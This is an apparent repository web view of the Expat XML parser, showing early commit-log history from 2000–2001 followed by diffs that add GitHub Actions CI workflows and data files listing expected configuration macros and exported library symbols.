Fred L. Drake, Jr. 0a268deb6b Sam TH <samth@users.sourceforge.net>:
Tell CVS to ignore the generated executable.
2001-03-29 05:21:57 +00:00
Fred L. Drake, Jr. ec982dcdc4 Update the MANIFEST to reflect Greg's recent changes. 2001-03-13 17:27:15 +00:00
Greg Stein 4232566291 Revamp config/build to keep generated files out of CVS (some libtool files
were out of date, and we've previously seen expat.h out of sync).

*) Use new script "buildconf.sh" to create the set of generated files
   (aclocal.m4, config.h.in, configure). This is intended to be used by
   developers (rerun when configure.in changes) and just before a release
   (releases include these outputs).

   Developers now need the "autoconf" and "libtool" packages.

*) config.h.in is now built by autoheader and includes bits from acconfig.h
   rather than manual construction/maintenance. (renamed from config.hin)

*) added conftools/PrintPath from the ASF; it is a portable "which"

*) added "extraclean" target to top-level Makefile to get rid of all
   generated files (return to pure CVS state; before buildconf.sh)

*) updates various bits for config.hin -> config.h.in rename

*) no longer need to delete the ".deps" subdir since we don't create it
   anymore (dependencies are explicit rather than auto-generated).
2001-03-10 15:41:50 +00:00
Fred L. Drake, Jr. dd899178d0 Update the license type; error pointed out by Greg Stein. 2001-03-03 07:20:04 +00:00
Fred L. Drake, Jr. c8fae37aa2 Added .spec file for building RPMs; contributed by Sean Reifschneider.
Minor changes to reflect build process updates and bump the version number
for the next release; remove the "tummy" suffix from the RPM version since
this is part of the stock package.
2001-03-01 04:43:23 +00:00
Fred L. Drake, Jr. d47741fc6b Sam TH:
Fix a variety of build control problems for the auxiliary directories.

This closes SF tracker patch #403582.
2001-03-01 04:28:27 +00:00
Fred L. Drake, Jr. 86474275a1 Sam TH:
Use the current name for the Expat header file.

This is part of SF tracker patch #403582.
2001-03-01 04:18:28 +00:00
Fred L. Drake, Jr. 6c543e265d Spoke to soon -- one of the patches added a Makefile.in to the sample/
directory, so we do need to configure it.
2001-03-01 04:14:23 +00:00
Fred L. Drake, Jr. 1139ceac02 Sam TH:
Add a Makefile.in for the sample application.

FLD:
Tell CVS to ignore the generated Makefile.

This closes SF tracker patch #403583.
2001-03-01 04:13:33 +00:00
Fred L. Drake, Jr. 43be41d965 There is no sample/Makefile.in, so do not try to generate sample/Makefile
even if the directory exists.
2001-03-01 04:07:20 +00:00
Fred L. Drake, Jr. 2ce9cd4140 Sam TH:
Remove gcc-specific cruft from the Makefile -- this hurts portability!

This closes SF tracker patch #403584, and probably more platform-specific
build process bugs than I care to think about.
2001-03-01 04:04:26 +00:00
Fred L. Drake, Jr. 83e53eb8d0 Sam TH:
Only configure makefiles in child directories that exist.

[...and added explanation as to why this is useful -- FLD.]

This closes SF tracker patch #403585.
2001-03-01 03:47:12 +00:00
Fred L. Drake, Jr. ffa686a288 Updated version from config.h.in update (includes wrapping of lots of long
lines).
2001-03-01 03:44:45 +00:00
Fred L. Drake, Jr. 4c3f32531d Sam TH:
BeOS defines __declspec, but we don't use it there.

This closes SF tracker patch #403581.
2001-03-01 03:19:27 +00:00
Fred L. Drake, Jr. a6823aa552 Fix SF bug #123767: segfault on UTF-8 BOM.
(Reported with fix by Bruce Kaskel.)
2001-02-16 18:12:49 +00:00
Fred L. Drake, Jr. 2eb02dd3de Added XMLPARSEAPI to the prototype for XML_DefaultCurrent().
Re-wrapped some comments that exceeded 80 characters per line.

This closes SF bug #129217.
2001-01-26 19:18:31 +00:00
Fred L. Drake, Jr. d8fa305d39 Added note about adding /usr/ccs/bin to the PATH for Solaris users. 2001-01-25 17:55:24 +00:00
Fred L. Drake, Jr. eae9ec21a9 Document the #define constants giving library version information. 2001-01-24 19:53:01 +00:00
Fred L. Drake, Jr. 16031442b8 Make sure we generate lib/expat.h. 2001-01-24 19:42:05 +00:00
Fred L. Drake, Jr. faea974737 Simplify, since we no longer need the temporaries for version information. 2001-01-24 19:41:12 +00:00
Fred L. Drake, Jr. 2f5721e204 Template for the expat.h header, processed by the configure script.
(We still need to keep expat.h checked in since it is not generated on
Windows.)
2001-01-24 19:40:13 +00:00
Fred L. Drake, Jr. a3fcd14422 Use the new XML_*_VERSION constants to fill in the XML_Expat_Version
structure.
2001-01-24 19:38:54 +00:00
Fred L. Drake, Jr. f4f26d227b Add definitions of XML_MAJOR_VERSION, XML_MINOR_VERSION, and
XML_MICRO_VERSION.  These contain version-specific information, but
this header is about to become a generated file, so that's ok.
2001-01-24 19:37:36 +00:00
Clark Cooper 604600883c Clark's compromise changes to Fred's version info change. 2000-12-27 19:37:37 +00:00
Clark Cooper 01947d98ff Inadvertently failed to commit these files for 1.95.1 (apparently I committed
from the lib directory instead of the main directory)
2000-12-27 18:08:15 +00:00
Fred L. Drake, Jr. c9d4a09e50 Add a comment that the version numbers here must match those in lib/expat.h. 2000-12-21 14:33:23 +00:00
Fred L. Drake, Jr. e667ee8393 Add (minimal) documetation on the new parts of the API. 2000-12-21 01:51:40 +00:00
Fred L. Drake, Jr. 11464c65f8 Update the minor version number since the C API has been extended. 2000-12-21 01:50:28 +00:00
Fred L. Drake, Jr. 0e5418f698 Remove VERSION; this is no longer used in this directory since the version
information is computed from the XML_*_VERSION constants.
2000-12-21 01:49:27 +00:00
Fred L. Drake, Jr. eb5ef0f8d9 XML_ExpatVersionInfo(): New function; returns library version as a
structure that can be examined at runtime.

XML_ExpatVersion():  Construct the return value from the new version
        information constants.

XML_MAJOR_VERSION, XML_MINOR_VERSION,
XML_MICRO_VERSION:  New constants; these specify the version of the
        library in a form that can be queried by client applications
        at compile time.  This is useful in determining if functions
        should be considered available (like those above).
2000-12-21 00:32:47 +00:00
Fred L. Drake, Jr. 28ebb2194d Minor internal style consistency nit (indentation). 2000-12-20 22:30:54 +00:00
Fred L. Drake, Jr. fd297d8120 Tell CVS to ignore generated Makefiles and working dirs used by libtool. 2000-10-30 21:25:05 +00:00
Clark Cooper ae2257acce Changes for compiling under Microsoft Dev Studio. 2000-10-22 19:20:23 +00:00
Clark Cooper b1bcd0060a Remove aborts and instead return an UNEXPECTED_STATE error. 2000-10-20 15:37:28 +00:00
Clark Cooper 809a5d2916 Revised fix for abort occurring with a percent followed by whitespace or
another percent in entity values.
2000-10-20 15:14:36 +00:00
Clark Cooper c4ca6cf75e Defined XML_SetEndNamespaceDeclHandler to resolve bug # 116381 2000-10-10 18:48:48 +00:00
Clark Cooper 219c9e2de6 Fix make problems on BSD & HPUX reported in Bug # 116248 2000-10-10 18:34:11 +00:00
Clark Cooper 15447d34ea Fix documentation error reported in Bug report # 116382 2000-10-10 18:30:22 +00:00
James Clark d93eff7f99 Fix abort with space following percent sign in entity value 2000-10-09 06:26:10 +00:00
Clark Cooper 02534e83b5 Add MANIFEST and remove expatfaq.html 2000-09-29 15:47:38 +00:00
Clark Cooper 205ac2c5d9 Fixed a bug in Makefile.in that wiped out README. 2000-09-29 15:44:00 +00:00
Clark Cooper aa45fb851a Versioning information, fill in Changes file, possible final commit before
first release (1.95.0)
2000-09-29 14:57:45 +00:00
Clark Cooper 63d2f68760 Switch to using MANIFEST to build distribution.
Also fix xmlwf to use current entity declaration signature.
2000-09-28 19:47:35 +00:00
Clark Cooper e8b7b5fa4f Fixes to allow DLLs to built under Windows. 2000-09-28 17:53:00 +00:00
Clark Cooper a37327861c Change version number to accord with beta release. 2000-09-26 13:52:33 +00:00
Clark Cooper df9c925f77 Make more explicit the need to do an include of expat.h 2000-09-25 13:06:39 +00:00
Clark Cooper 91ae02924d Changes for namespace triplets. 2000-09-25 00:58:49 +00:00
Clark Cooper 24a3551e56 Added dynamic malloc substitution. Added libtool versioning. 2000-09-24 03:43:37 +00:00
Clark Cooper a00cc29567 Update reference with API changes made by the perl-expat merge. 2000-09-22 18:24:28 +00:00
Clark Cooper c446fb274e Merged in modifications from perl-expat. Also fiddled around with more
configuration issues.
2000-09-21 21:20:18 +00:00
Clark Cooper c135be083d These are the first check-ins for the libexpat task: create configuration
files and setup for building a shareable libexpat.
2000-09-18 16:26:23 +00:00
Clark Cooper 7f167d9b05 Added a link to bug reports page, added Revision comment, and fixed XML errors. 2000-09-12 17:06:46 +00:00
Fred L. Drake, Jr. b1e4e0798c Point to the mailing lists, not the "Forums". Forums are just plain weird.
Add a (very) little text describing the overall goal of the project.
2000-09-07 02:40:29 +00:00
Fred L. Drake, Jr. 810ec88a4a Create a SourceForge "product" from the expat project Web pages. 2000-09-07 02:23:49 +00:00
Fred L. Drake, Jr. 7b3ca3d246 *** empty log message *** 2000-09-07 02:23:49 +00:00
194 changed files with 910989 additions and 17741 deletions

No files matched your search

+41
View File
@@ -0,0 +1,41 @@
# __ __ _
# ___\ \/ /_ __ __ _| |_
# / _ \\ /| '_ \ / _` | __|
# | __// \| |_) | (_| | |_
# \___/_/\_\ .__/ \__,_|\__|
# |_| XML parser
#
# Copyright (c) 2021 Sebastian Pipping <sebastian@pipping.org>
# Licensed under the MIT license:
#
# Permission is hereby granted, free of charge, to any person obtaining
# a copy of this software and associated documentation files (the
# "Software"), to deal in the Software without restriction, including
# without limitation the rights to use, copy, modify, merge, publish,
# distribute, sublicense, and/or sell copies of the Software, and to permit
# persons to whom the Software is furnished to do so, subject to the
# following conditions:
#
# The above copyright notice and this permission notice shall be included
# in all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN
# NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,
# DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR
# OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE
# USE OR OTHER DEALINGS IN THE SOFTWARE.
version: 2
updates:
- package-ecosystem: "github-actions"
commit-message:
include: "scope"
prefix: "Actions"
directory: "/"
labels:
- "enhancement"
schedule:
interval: "weekly"
+153
View File
@@ -0,0 +1,153 @@
# __ __ _
# ___\ \/ /_ __ __ _| |_
# / _ \\ /| '_ \ / _` | __|
# | __// \| |_) | (_| | |_
# \___/_/\_\ .__/ \__,_|\__|
# |_| XML parser
#
# Copyright (c) 2021-2022 Sebastian Pipping <sebastian@pipping.org>
# Licensed under the MIT license:
#
# Permission is hereby granted, free of charge, to any person obtaining
# a copy of this software and associated documentation files (the
# "Software"), to deal in the Software without restriction, including
# without limitation the rights to use, copy, modify, merge, publish,
# distribute, sublicense, and/or sell copies of the Software, and to permit
# persons to whom the Software is furnished to do so, subject to the
# following conditions:
#
# The above copyright notice and this permission notice shall be included
# in all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN
# NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,
# DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR
# OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE
# USE OR OTHER DEALINGS IN THE SOFTWARE.
name: Ensure that GNU Autotools and CMake build systems agree
on:
pull_request:
push:
schedule:
- cron: '0 2 * * 5' # Every Friday at 2am
jobs:
checks:
name: Ensure that GNU Autotools and CMake build systems agree
strategy:
matrix:
include:
- os: macos-11
configure_args:
cmake_args:
- os: ubuntu-20.04
configure_args:
cmake_args:
- os: ubuntu-20.04
configure_args: --host=i686-w64-mingw32
cmake_args: -DCMAKE_TOOLCHAIN_FILE=cmake/mingw-toolchain.cmake
defaults:
run:
shell: bash
runs-on: "${{ matrix.os }}"
steps:
- uses: actions/checkout@v3.1.0
- name: (Linux) Install build dependencies
if: "${{ runner.os == 'Linux' }}"
run: |-
set -x
sudo apt-get update
sudo apt-get install --yes --no-install-recommends -V \
cmake \
docbook2x \
lzip \
mingw-w64
- name: (macOS) Install build dependencies
if: "${{ runner.os == 'macOS' }}"
run: |
brew install \
autoconf \
automake \
cmake \
docbook2x \
gnu-sed \
libtool \
lzip
- name: Produce and extract a release archive
run: |
set -x
cd expat
./buildconf.sh
./configure
make dist
tar xf expat-*.*.*.tar.gz
- name: Build and install using GNU Autotools
run: |
set -x
cd expat/expat-*.*.*/
mkdir build_autotools
cd build_autotools
../configure \
--libdir='${exec_prefix}/lib123' \
${{matrix.configure_args}}
make install DESTDIR="${PWD}"/ROOT
find ROOT | sort | xargs ls -ld
- name: Build and install using CMake
run: |
set -x
cd expat/expat-*.*.*/
mkdir build_cmake
cd build_cmake
cmake \
-DCMAKE_INSTALL_LIBDIR=lib123 \
${{matrix.cmake_args}} \
..
make install DESTDIR="${PWD}"/ROOT
find ROOT | sort | xargs ls -ld
- name: Check for identical CMake files from both build systems
run: |
set -x
cd expat/expat-*.*.*/
if [[ "${{ runner.os }}" == macOS ]]; then
# Autotools' LT_LIB_M has a hardcoded exclude for "*-*-darwin*" hosts,
# while macOS does have libm and is successfully found by CMake.
# We patch the CMake side in line here to get the differ below to empty.
export PATH="$(brew --prefix)/opt/gnu-sed/libexec/gnubin:${PATH}"
sed 's,-lm,,' -i build_cmake/ROOT/usr/local/lib*/pkgconfig/expat.pc
fi
diff \
--recursive \
--unified \
--exclude=xmlwf \
--exclude=xmlwf.exe \
--exclude=libexpat.a \
--exclude=libexpat-*.dll \
--exclude=libexpat.dll.a \
--exclude=libexpat.la \
--exclude=libexpat.so\* \
--exclude=libexpat.\*dylib \
--exclude=expat_config.h \
build_{autotools,cmake}/ROOT
- name: (Linux except MinGW) Check for identical exported symbols from both build systems
if: "${{ runner.os == 'Linux' && ! contains(matrix.configure_args, 'mingw') }}"
run: |
list_shared_library_symbols_sh="${GITHUB_WORKSPACE}"/.github/workflows/scripts/list-shared-library-symbols.sh
exported_symbols_txt="${GITHUB_WORKSPACE}"/.github/workflows/data/exported-symbols.txt
set -x
cd expat/expat-*.*.*/
diff -u "${exported_symbols_txt}" <("${list_shared_library_symbols_sh}" build_autotools/ROOT/usr/local/lib*/libexpat.so)
diff -u "${exported_symbols_txt}" <("${list_shared_library_symbols_sh}" build_cmake/ROOT/usr/local/lib*/libexpat.so)
@@ -0,0 +1,72 @@
# __ __ _
# ___\ \/ /_ __ __ _| |_
# / _ \\ /| '_ \ / _` | __|
# | __// \| |_) | (_| | |_
# \___/_/\_\ .__/ \__,_|\__|
# |_| XML parser
#
# Copyright (c) 2021-2022 Sebastian Pipping <sebastian@pipping.org>
# Licensed under the MIT license:
#
# Permission is hereby granted, free of charge, to any person obtaining
# a copy of this software and associated documentation files (the
# "Software"), to deal in the Software without restriction, including
# without limitation the rights to use, copy, modify, merge, publish,
# distribute, sublicense, and/or sell copies of the Software, and to permit
# persons to whom the Software is furnished to do so, subject to the
# following conditions:
#
# The above copyright notice and this permission notice shall be included
# in all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN
# NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,
# DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR
# OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE
# USE OR OTHER DEALINGS IN THE SOFTWARE.
name: Ensure realistic minimum CMake version requirement
on:
pull_request:
push:
schedule:
- cron: '0 2 * * 5' # Every Friday at 2am
jobs:
checks:
name: Ensure realistic minimum CMake version requirement
runs-on: ubuntu-20.04
steps:
- uses: actions/checkout@v3.1.0
- name: Install ancient CMake
run: |
set -ux
needed_cmake_version="$(sed -n 's/cmake_minimum_required(VERSION \(.*\))/\1/p' expat/CMakeLists.txt)"
installer_filename="cmake-${needed_cmake_version}-linux-x86_64.sh"
download_url="https://github.com/Kitware/CMake/releases/download/v${needed_cmake_version}/${installer_filename}"
wget --no-verbose "${download_url}"
chmod +x "${installer_filename}"
mkdir ~/.local/
./"${installer_filename}" --prefix="${HOME}"/.local/ --skip-license
hash cmake # or the running shell will keep using the cached old location
present_cmake_version="$(cmake --version | sed -n 's/cmake version \(.*\)/\1/p')"
[[ ${present_cmake_version} = ${needed_cmake_version} ]]
- name: Build libexpat using ancient CMake
run: |
set -ux
mkdir expat/build
cd expat/build
cmake --version
cmake ..
make VERBOSE=1 all test install DESTDIR="${PWD}/ROOT/"
find ROOT/ -not -type d | sort
+97
View File
@@ -0,0 +1,97 @@
# __ __ _
# ___\ \/ /_ __ __ _| |_
# / _ \\ /| '_ \ / _` | __|
# | __// \| |_) | (_| | |_
# \___/_/\_\ .__/ \__,_|\__|
# |_| XML parser
#
# Copyright (c) 2021-2022 Sebastian Pipping <sebastian@pipping.org>
# Licensed under the MIT license:
#
# Permission is hereby granted, free of charge, to any person obtaining
# a copy of this software and associated documentation files (the
# "Software"), to deal in the Software without restriction, including
# without limitation the rights to use, copy, modify, merge, publish,
# distribute, sublicense, and/or sell copies of the Software, and to permit
# persons to whom the Software is furnished to do so, subject to the
# following conditions:
#
# The above copyright notice and this permission notice shall be included
# in all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN
# NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,
# DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR
# OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE
# USE OR OTHER DEALINGS IN THE SOFTWARE.
name: Collect test coverage
on:
pull_request:
push:
schedule:
- cron: '0 2 * * 5' # Every Friday at 2am
jobs:
checks:
name: Collect test coverage
runs-on: ubuntu-22.04
env:
CFLAGS: -g3 -pipe
steps:
- uses: actions/checkout@v3.1.0
- name: Install build dependencies
run: |-
set -x -u -o pipefail
source /etc/os-release
sudo apt-get update
sudo apt-get install --yes --no-install-recommends -V \
cmake \
docbook2x \
dos2unix \
gcc-multilib \
g++-multilib \
lcov \
libbsd-dev \
lzip \
moreutils
# Get rid of packages installed from ppa:ondrej/php so that we will be able to install wine32:i386 without conflicts
# (see issue https://github.com/actions/virtual-environments/issues/4589)
# In detail we:
# 1. Remove all packages that ppa:ondrej/php has but plain Ubuntu doesn't, e.g. everything PHP
# 2. Revert (remaining) packages that ppa:ondrej/php and plain Ubuntu share, back to the plain Ubuntu version
# 3. Assert that no packages from ppa:ondrej/php are left installed
dpkg -l | grep '^ii' | grep -F deb.sury.org | awk '{print $2}' | grep '^php' \
| xargs -r -t sudo apt-get remove --yes libpcre2-posix3 libzip4
dpkg -l | grep '^ii' | grep -F deb.sury.org | awk '{print $2}' | sed "s,\$,/${UBUNTU_CODENAME}," \
| xargs -r -t sudo apt-get install --yes --no-install-recommends --allow-downgrades -V
! dpkg -l | grep '^ii' | grep -F deb.sury.org
# Install 32bit Wine
sudo dpkg --add-architecture i386 # for wine32
sudo apt-get update # due to new architecture
sudo apt-get install --yes --no-install-recommends -V \
mingw-w64 \
wine-stable \
wine32:i386
- name: Unshallow Git clone
run: |
git fetch --force --tags --unshallow origin # for "git describe" in coverage.sh
- name: Collect test coverage
env:
MODE: coverage-sh
TRAVIS_OS_NAME: linux
run: |
exec ./.travis.sh
- name: Store coverage .info and HTML report
uses: actions/upload-artifact@v3.1.1
with:
name: coverage
path: expat/coverage__*/
if-no-files-found: error
+49
View File
@@ -0,0 +1,49 @@
# __ __ _
# ___\ \/ /_ __ __ _| |_
# / _ \\ /| '_ \ / _` | __|
# | __// \| |_) | (_| | |_
# \___/_/\_\ .__/ \__,_|\__|
# |_| XML parser
#
# Copyright (c) 2021-2022 Sebastian Pipping <sebastian@pipping.org>
# Licensed under the MIT license:
#
# Permission is hereby granted, free of charge, to any person obtaining
# a copy of this software and associated documentation files (the
# "Software"), to deal in the Software without restriction, including
# without limitation the rights to use, copy, modify, merge, publish,
# distribute, sublicense, and/or sell copies of the Software, and to permit
# persons to whom the Software is furnished to do so, subject to the
# following conditions:
#
# The above copyright notice and this permission notice shall be included
# in all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN
# NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,
# DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR
# OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE
# USE OR OTHER DEALINGS IN THE SOFTWARE.
name: Run Cppcheck (from macOS Homebrew)
on:
pull_request:
push:
schedule:
- cron: '0 2 * * 5' # Every Friday at 2am
jobs:
checks:
name: Run Cppcheck
runs-on: macos-11
steps:
- uses: actions/checkout@v3.1.0
- name: Install runtime dependencies
run: |
exec brew install cppcheck findutils
- name: Run Cppcheck
run: |
exec .github/workflows/scripts/mass-cppcheck.sh
@@ -0,0 +1,37 @@
EXPAT_CONFIG_H
BYTEORDER
__func__
HAVE_ARC4RANDOM
HAVE_ARC4RANDOM_BUF
HAVE_DLFCN_H
HAVE_FCNTL_H
HAVE_GETPAGESIZE
HAVE_GETRANDOM
HAVE_INTTYPES_H
HAVE_LIBBSD
HAVE_MEMORY_H
HAVE_MMAP
HAVE_STDINT_H
HAVE_STDLIB_H
HAVE_STRING_H
HAVE_STRINGS_H
HAVE_SYSCALL_GETRANDOM
HAVE_SYS_STAT_H
HAVE_SYS_TYPES_H
HAVE_UNISTD_H
off_t
PACKAGE
PACKAGE_BUGREPORT
PACKAGE_NAME
PACKAGE_STRING
PACKAGE_TARNAME
PACKAGE_URL
PACKAGE_VERSION
size_t
STDC_HEADERS
WORDS_BIGENDIAN
XML_ATTR_INFO
XML_CONTEXT_BYTES
XML_DEV_URANDOM
XML_DTD
XML_NS
@@ -0,0 +1,41 @@
EXPAT_CONFIG_H
AC_APPLE_UNIVERSAL_BUILD
BYTEORDER
const
HAVE_ARC4RANDOM
HAVE_ARC4RANDOM_BUF
HAVE_DLFCN_H
HAVE_FCNTL_H
HAVE_GETPAGESIZE
HAVE_GETRANDOM
HAVE_INTTYPES_H
HAVE_LIBBSD
HAVE_MEMORY_H
HAVE_MMAP
HAVE_STDINT_H
HAVE_STDLIB_H
HAVE_STRING_H
HAVE_STRINGS_H
HAVE_SYSCALL_GETRANDOM
HAVE_SYS_PARAM_H
HAVE_SYS_STAT_H
HAVE_SYS_TYPES_H
HAVE_UNISTD_H
LT_OBJDIR
off_t
PACKAGE
PACKAGE_BUGREPORT
PACKAGE_NAME
PACKAGE_STRING
PACKAGE_TARNAME
PACKAGE_URL
PACKAGE_VERSION
size_t
STDC_HEADERS
VERSION
WORDS_BIGENDIAN
XML_ATTR_INFO
XML_CONTEXT_BYTES
XML_DEV_URANDOM
XML_DTD
XML_NS
@@ -0,0 +1,68 @@
XML_DefaultCurrent
XML_ErrorString
XML_ExpatVersion
XML_ExpatVersionInfo
XML_ExternalEntityParserCreate
XML_FreeContentModel
XML_GetBase
XML_GetBuffer
XML_GetCurrentByteCount
XML_GetCurrentByteIndex
XML_GetCurrentColumnNumber
XML_GetCurrentLineNumber
XML_GetErrorCode
XML_GetFeatureList
XML_GetIdAttributeIndex
XML_GetInputContext
XML_GetParsingStatus
XML_GetSpecifiedAttributeCount
XML_MemFree
XML_MemMalloc
XML_MemRealloc
XML_Parse
XML_ParseBuffer
XML_ParserCreate
XML_ParserCreate_MM
XML_ParserCreateNS
XML_ParserFree
XML_ParserReset
XML_ResumeParser
XML_SetAttlistDeclHandler
XML_SetBase
XML_SetBillionLaughsAttackProtectionActivationThreshold
XML_SetBillionLaughsAttackProtectionMaximumAmplification
XML_SetCdataSectionHandler
XML_SetCharacterDataHandler
XML_SetCommentHandler
XML_SetDefaultHandler
XML_SetDefaultHandlerExpand
XML_SetDoctypeDeclHandler
XML_SetElementDeclHandler
XML_SetElementHandler
XML_SetEncoding
XML_SetEndCdataSectionHandler
XML_SetEndDoctypeDeclHandler
XML_SetEndElementHandler
XML_SetEndNamespaceDeclHandler
XML_SetEntityDeclHandler
XML_SetExternalEntityRefHandler
XML_SetExternalEntityRefHandlerArg
XML_SetHashSalt
XML_SetNamespaceDeclHandler
XML_SetNotationDeclHandler
XML_SetNotStandaloneHandler
XML_SetParamEntityParsing
XML_SetProcessingInstructionHandler
XML_SetReturnNSTriplet
XML_SetSkippedEntityHandler
XML_SetStartCdataSectionHandler
XML_SetStartDoctypeDeclHandler
XML_SetStartElementHandler
XML_SetStartNamespaceDeclHandler
XML_SetUnknownEncodingHandler
XML_SetUnparsedEntityDeclHandler
XML_SetUserData
XML_SetXmlDeclHandler
XML_StopParser
XML_UseForeignDTD
XML_UseParserAsHandlerArg
+58
View File
@@ -0,0 +1,58 @@
# __ __ _
# ___\ \/ /_ __ __ _| |_
# / _ \\ /| '_ \ / _` | __|
# | __// \| |_) | (_| | |_
# \___/_/\_\ .__/ \__,_|\__|
# |_| XML parser
#
# Copyright (c) 2020-2022 Sebastian Pipping <sebastian@pipping.org>
# Licensed under the MIT license:
#
# Permission is hereby granted, free of charge, to any person obtaining
# a copy of this software and associated documentation files (the
# "Software"), to deal in the Software without restriction, including
# without limitation the rights to use, copy, modify, merge, publish,
# distribute, sublicense, and/or sell copies of the Software, and to permit
# persons to whom the Software is furnished to do so, subject to the
# following conditions:
#
# The above copyright notice and this permission notice shall be included
# in all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN
# NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,
# DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR
# OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE
# USE OR OTHER DEALINGS IN THE SOFTWARE.
name: Check expat_config.h.{in,cmake} for regressions
on:
pull_request:
push:
schedule:
- cron: '0 2 * * 5' # Every Friday at 2am
jobs:
checks:
name: Check expat_config.h.{in,cmake} for regressions
runs-on: ubuntu-20.04
steps:
- uses: actions/checkout@v3.1.0
- name: Check expat_config.h.{in,cmake} for regressions
run: |
set -v
# A non-empty diff indicates a change in the list of macros exported:
# - Removals would be trouble (because expat_config.h is installed).
# - Additions could use an extra check by a human
( cd expat && ./buildconf.sh ) # generate expat_config.h.in
diff -u <(sort < .github/workflows/data/expat_config_h_in__expected.txt) <(.github/workflows/scripts/list_exported_macros.sh expat/expat_config.h.in)
diff -u <(sort < .github/workflows/data/expat_config_h_cmake__expected.txt) <(.github/workflows/scripts/list_exported_macros.sh expat/expat_config.h.cmake)
# Informational (and not an ideal state)
diff -u \
<(sort < .github/workflows/data/expat_config_h_in__expected.txt) \
<(sort < .github/workflows/data/expat_config_h_cmake__expected.txt) \
|| true
+139
View File
@@ -0,0 +1,139 @@
# __ __ _
# ___\ \/ /_ __ __ _| |_
# / _ \\ /| '_ \ / _` | __|
# | __// \| |_) | (_| | |_
# \___/_/\_\ .__/ \__,_|\__|
# |_| XML parser
#
# Copyright (c) 2021-2022 Sebastian Pipping <sebastian@pipping.org>
# Licensed under the MIT license:
#
# Permission is hereby granted, free of charge, to any person obtaining
# a copy of this software and associated documentation files (the
# "Software"), to deal in the Software without restriction, including
# without limitation the rights to use, copy, modify, merge, publish,
# distribute, sublicense, and/or sell copies of the Software, and to permit
# persons to whom the Software is furnished to do so, subject to the
# following conditions:
#
# The above copyright notice and this permission notice shall be included
# in all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN
# NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,
# DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR
# OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE
# USE OR OTHER DEALINGS IN THE SOFTWARE.
name: Run Linux Travis CI tasks
on:
pull_request:
push:
schedule:
- cron: '0 2 * * 5' # Every Friday at 2am
jobs:
checks:
name: Perform checks
strategy:
matrix:
include:
# NOTE: This is a quick port from .travis.yml in reaction to
# stability issues at Travis CI.
- MODE: cmake-oos
- MODE: distcheck
- MODE: qa-sh
FLAT_ENV: CC=clang CXX=clang++ LD=clang++ QA_SANITIZER=address
- MODE: clang-format
- MODE: cmake-oos
